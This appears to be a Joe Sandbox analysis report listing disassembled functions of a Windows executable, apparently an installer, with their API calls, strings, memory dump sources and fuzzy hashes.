Opcode Fuzzy Hash: 12a26ccb63bcfc9289d36b00324cbf667c9b0308b1544d38002d5f6d22e14824
Instruction Fuzzy Hash: D0F01D75A40209B6DF10EAD0CC46BAFB3BCAB14B05F104966E910E7281E778AB049B59

Function 0042D8F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B5A,00000000,00453BFD,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FED,00000000), ref: 0042D90A
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D910

Strings

GetSystemWow64DirectoryA, xrefs: 0042D900
kernel32.dll, xrefs: 0042D905

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 1646373207-4063490227
Opcode ID: 3965e48138ab8598cb17ff311cd558fd433aca8a834515e354a81fb776e31baf
Instruction ID: 657275fb9dfacbe144619f02b172540cf2f0c5a6f4252bec6bd03a25d2dd35a2
Opcode Fuzzy Hash: 3965e48138ab8598cb17ff311cd558fd433aca8a834515e354a81fb776e31baf
Instruction Fuzzy Hash: A5E0DFE0B40B0122D70032BA1C82B6B108D4B84728F90053B3894E62D6DDBCD9840A6D

Function 0042EB54 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,00000000,0042EAD0), ref: 0042EB62
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EB68

Strings

ShutdownBlockReasonDestroy, xrefs: 0042EB58
user32.dll, xrefs: 0042EB5D

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ShutdownBlockReasonDestroy$user32.dll
API String ID: 1646373207-260599015
Opcode ID: 88ce12e330a2fc51ece58c284b54de3a76b504cb94a4c995bd1a3fb2c6ea0693
Instruction ID: e1ec077e445c8734ae54db5ffdd633522f5c412f0b7fee52e54de0d29bb4c321
Opcode Fuzzy Hash: 88ce12e330a2fc51ece58c284b54de3a76b504cb94a4c995bd1a3fb2c6ea0693
Instruction Fuzzy Hash: A2D0C793311732665D10B1F73CD1EAB058C891527935404B7F515E5641D55DEC1115AD

Function 0044F744 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00498D46), ref: 0044F77F
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F785

Strings

user32.dll, xrefs: 0044F77A
NotifyWinEvent, xrefs: 0044F775

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NotifyWinEvent$user32.dll
API String ID: 1646373207-597752486
Opcode ID: f97c3de5cacafbf63d36e16939e29d51eb7e912e87a0fb2b79f6fc39cd446e20
Instruction ID: 5e946f17392c81a4f172a46fe169fb9a1f72c9003761a5edf28bd31acc2f1150
Opcode Fuzzy Hash: f97c3de5cacafbf63d36e16939e29d51eb7e912e87a0fb2b79f6fc39cd446e20
Instruction Fuzzy Hash: 59E012F0E417049AFF00BBB57B86B1A3A90E764719B00057FF414A6292DB7C481C4F9D

Function 00498ABC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,00498D9C,00000001,00000000,00498DC0), ref: 00498AC6
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00498ACC

Strings

user32.dll, xrefs: 00498AC1
DisableProcessWindowsGhosting, xrefs: 00498ABC

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: 4a0b01289633be40f34e048a77cc5d2291091933ee720fcd0b60eff8e8834b57
Instruction ID: 0173489568db28fab32324b6380fe6ca455c07e5d0351f19105cd1af989eef12
Opcode Fuzzy Hash: 4a0b01289633be40f34e048a77cc5d2291091933ee720fcd0b60eff8e8834b57
Instruction Fuzzy Hash: 36B00280681701549D1472BA0D06B1B18488892779714047F3515F55C6DDFC8D545A3D

Function 004645F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044B658: LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F775,00498D46), ref: 0044B67F
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B697
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A9
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6BB
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6CD
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6DF
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6F1
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B703
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B715
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B727
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B739
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B74B
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B75D
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B76F
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B781
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B793
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B7A5
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7B7

LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,00498D6E), ref: 00464603
GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 00464609

Strings

shell32.dll, xrefs: 004645FE
SHPathPrepareForWriteA, xrefs: 004645F9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2238633743-2683653824
Opcode ID: edc6f8ec64a36a5908760ff58e990ea99ea877eb638915fc896b3384d426fa6b
Instruction ID: ed4894befccbfeda2ad80f7d1b9e1cb4df1a551eae9986247d0c145e26b1cd95
Opcode Fuzzy Hash: edc6f8ec64a36a5908760ff58e990ea99ea877eb638915fc896b3384d426fa6b
Instruction Fuzzy Hash: DDB092D0A82740A4C90077F2985B90F2A4488A271EB10153B710476483EABC84100EAE

Function 0047D7D0 Relevance: 6.2, APIs: 4, Instructions: 195fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0047D944,?,?,?,?,00000000,0047DA99,?,?,?,00000000,?,0047DBA8), ref: 0047D920
FindClose.KERNEL32(000000FF,0047D94B,0047D944,?,?,?,?,00000000,0047DA99,?,?,?,00000000,?,0047DBA8,00000000), ref: 0047D93E

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 63fb31312818f8c95b0bdd19d6b3fed535286156fc4f9f49cc5d5a6cf26a791e
Instruction ID: c8df52d1e8f73b1a5b8a98970802db1a55b0fe89a75d723b77f3b2da40dba5b8
Opcode Fuzzy Hash: 63fb31312818f8c95b0bdd19d6b3fed535286156fc4f9f49cc5d5a6cf26a791e
Instruction Fuzzy Hash: 3A813B70D0424DAFCB11EFA5CC41ADFBBB9EF49304F4080AAE808A7291D6399B46CF55

Function 00475700 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

Part of subcall function 0042EE30: GetTickCount.KERNEL32 ref: 0042EE36

Part of subcall function 0042EC88: MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0042ECBD

GetLastError.KERNEL32(00000000,00475875,?,?,0049C1E0,00000000), ref: 0047575E

Strings

MoveFileEx, xrefs: 004757C3
LoggedMsgBox returned an unexpected value. Assuming Cancel., xrefs: 00475833
, xrefs: 00475796, 004757B1

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CountErrorFileLastMoveTick
String ID: $LoggedMsgBox returned an unexpected value. Assuming Cancel.$MoveFileEx
API String ID: 2406187244-2685451598
Opcode ID: 585f588039cf6c8e2219cca060c34e768082099a9472bbe1440c0e3cb72f6fa3
Instruction ID: 5b31dde6bb6ee4f12738a739f0e986191c4efbaaa8786a84f26f02688feeefb1
Opcode Fuzzy Hash: 585f588039cf6c8e2219cca060c34e768082099a9472bbe1440c0e3cb72f6fa3
Instruction Fuzzy Hash: 20416370A006098FDB10FFA5D882AEE77B8EF48314F518537E414BB381D7789A058BAD

Function 00413CF8 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00413D46
GetDesktopWindow.USER32 ref: 00413DFE

Part of subcall function 00418EC0: 6F5BC6F0.COMCTL32(?,00000000,00413FC3,00000000,004140D3,?,?,0049B628), ref: 00418EDC
Part of subcall function 00418EC0: ShowCursor.USER32(00000001,?,00000000,00413FC3,00000000,004140D3,?,?,0049B628), ref: 00418EF9

SetCursor.USER32(00000000,?,?,?,?,00413AF3,00000000,00413B06), ref: 00413E3C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: CursorDesktopWindow$Show
String ID:
API String ID: 2074268717-0
Opcode ID: 48e3412c1a46991eea637d4b1b247886da5b7466a2ee9d80c19fa9edf3c8b710
Instruction ID: d0219f8535474b9b7e790bb207accfb6dce16a9ac66decbe361331da1304c66b
Opcode Fuzzy Hash: 48e3412c1a46991eea637d4b1b247886da5b7466a2ee9d80c19fa9edf3c8b710
Instruction Fuzzy Hash: 91412C75600210AFC710DF2AFA84B56B7E1EB65329B16817BE405CB365DB38DD81CF98

Function 00408A54 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 00408A75
LoadStringA.USER32(00400000,0000FF9E,?,00000040), ref: 00408AE4
LoadStringA.USER32(00400000,0000FF9F,?,00000040), ref: 00408B7F
MessageBoxA.USER32(00000000,?,?,00002010), ref: 00408BBE

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: LoadString$FileMessageModuleName
String ID:
API String ID: 704749118-0
Opcode ID: ede814ba8b2c905ab74f80468cae56b5ab65d73ed59c96bbcc76a4520df8398d
Instruction ID: 7d65b0a5aa49ad722f3f3263bbe29e3330acee4661d9e2153cfe083702b22da2
Opcode Fuzzy Hash: ede814ba8b2c905ab74f80468cae56b5ab65d73ed59c96bbcc76a4520df8398d
Instruction Fuzzy Hash: 1F3123716083849AD370EB65C945BDF77D89B85704F40483FB6C8E72D1EB7859048B6B

Function 0044E8C4 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 0044E90D

Part of subcall function 0044CF50: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044CF82

InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 0044E991

Part of subcall function 0042BBB4: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BBC8

IsRectEmpty.USER32(?), ref: 0044E953
ScrollWindowEx.USER32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000006), ref: 0044E976

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
String ID:
API String ID: 855768636-0
Opcode ID: 04ca6cb6e2ccef701aa7cc40eb4f9654f1f9ed030ec2c7ff107260b1fda3279a
Instruction ID: f7bad605b8f68185b4e834990bb8ca2287257270a928060092b59a923d315d7c
Opcode Fuzzy Hash: 04ca6cb6e2ccef701aa7cc40eb4f9654f1f9ed030ec2c7ff107260b1fda3279a
Instruction Fuzzy Hash: E5114A71B0030067E650BA7B8C86B5B76C9AB88748F15083FB545EB387DE7DDD094299

Function 00495A78 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,?,00000000), ref: 00495ADC
OffsetRect.USER32(?,00000000,?), ref: 00495AF7
OffsetRect.USER32(?,?,00000000), ref: 00495B11
OffsetRect.USER32(?,00000000,?), ref: 00495B2C

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: 1a7b820049be1fccb12470de9550d957125159f483069f204bdd0ac347790e73
Instruction ID: d50c5ba87e085f93dc65ee7aca07b067794a0f9c190ffa08ce6a151eaa349c11
Opcode Fuzzy Hash: 1a7b820049be1fccb12470de9550d957125159f483069f204bdd0ac347790e73
Instruction Fuzzy Hash: 6421AEB6704601AFCB00DE69CD85E6BB7DEEBC4340F248A2AF944C7249D638E9448755

Function 00417218 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00417260
SetCursor.USER32(00000000), ref: 004172A3
GetLastActivePopup.USER32(?), ref: 004172CD
GetForegroundWindow.USER32(?), ref: 004172D4

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Cursor$ActiveForegroundLastPopupWindow
String ID:
API String ID: 1959210111-0
Opcode ID: 2815b631d4163c2f90f869daf06518e44bda7049ed7788c1b372a89dcb0b58ef
Instruction ID: de3f0dc6b436800086b9427ec8ddd2ec86eeedce3a35093462374e80c8eda50e
Opcode Fuzzy Hash: 2815b631d4163c2f90f869daf06518e44bda7049ed7788c1b372a89dcb0b58ef
Instruction Fuzzy Hash: C52183313086118AD720AFA9E945AE733F1EF44754B0544ABF8558B352DB3DDC82CB9E

Function 00495730 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,00000008,?), ref: 00495745
MulDiv.KERNEL32(?,00000008,?), ref: 00495759
MulDiv.KERNEL32(?,00000008,?), ref: 0049576D
MulDiv.KERNEL32(?,00000008,?), ref: 0049578B

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0bc83cb44cddb6cfb83e9cff79c84a8c4632dee95d4fc6912c32f85648e17c5
Instruction ID: 57bd1f3e4af5a5b99f2b3baf23c4af08b73f73eebd4a5b621a3c8c8d6947ff9a
Opcode Fuzzy Hash: b0bc83cb44cddb6cfb83e9cff79c84a8c4632dee95d4fc6912c32f85648e17c5
Instruction Fuzzy Hash: 9C111872605504ABCB40DEA9D8C4D9B7BECEF89364B2441AAF908DB246D634ED408B68

Function 0041F480 Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,0041F470,?), ref: 0041F4A1
UnregisterClassA.USER32(0041F470,00400000), ref: 0041F4CA
RegisterClassA.USER32(00499598), ref: 0041F4D4
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F50F

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: 2789f09181fedf2aa8f29be774d1bfe7920984f559ea6f8e8637ed1726722249
Instruction ID: 7a0dc659497f48f9aad4428a0df7724adcaf244520b53866b591a9b3b5545ee4
Opcode Fuzzy Hash: 2789f09181fedf2aa8f29be774d1bfe7920984f559ea6f8e8637ed1726722249
Instruction Fuzzy Hash: F6011B72240104AADA10EBACED81E9B33999729314B11423BB615E72A2D6399C558BAC

Function 00454F7C Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32(?,00000032), ref: 00454FA8
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00454FCA
GetExitCodeProcess.KERNEL32(?,?), ref: 00454FD9
CloseHandle.KERNEL32(?,00455006,00454FFF,?,?,?,00000000,?,?,004551DB,?,?,?,00000044,00000000,00000000), ref: 00454FF9

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
String ID:
API String ID: 4071923889-0
Opcode ID: 8aa0dd6ec5a68f6f7641eb82506f7728cd0b20fc7582fe19e2ee2bc87ac6724f
Instruction ID: ea90b2abd28d60bbe0c33bbe6d7a83e36ef454db8471bda6b5c19e9a906557d9
Opcode Fuzzy Hash: 8aa0dd6ec5a68f6f7641eb82506f7728cd0b20fc7582fe19e2ee2bc87ac6724f
Instruction Fuzzy Hash: B9012D31A006097FEB1097AA8C02F6FBBECDF49764F610127F904D72C2C5788D409A78

Function 0040D010 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D027
LoadResource.KERNEL32(00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?,?,0047CCAC,0000000A,00000000), ref: 0040D041
SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?,?,0047CCAC), ref: 0040D05B
LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A7C8,00400000,00000001,00000000,?,0040CF84,00000000,?,00000000,?), ref: 0040D065

Memory Dump Source

Source File: 00000001.00000002.2928191926.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2928157498.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928331595.0000000000499000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928367613.000000000049A000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928401575.000000000049B000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2928440153.00000000004AB000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: f701ce4f04cb0ebdd1143b5585c75acb70ffd029a82b31343d3be87257736b7b
Instruction ID: ce77ce8360aa458f47a01e9b0563465317cd85cc21d7bcd45488e041df035c61
Opcode Fuzzy Hash: f701ce4f04cb0ebdd1143b5585c75acb70ffd029a82b31343d3be87257736b7b
Instruction Fuzzy Hash: 49F04F726056046F9B14EE59A881D5B77ECDE88268310013AF908E7286DA38DD018B68

Function 004706F0 Relevance: 6.0, APIs: 1, Strings: 3, Instructions: 41COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000), ref: 00470741

Strings

Failed to set NTFS compression state (%d)., xrefs: 00470752
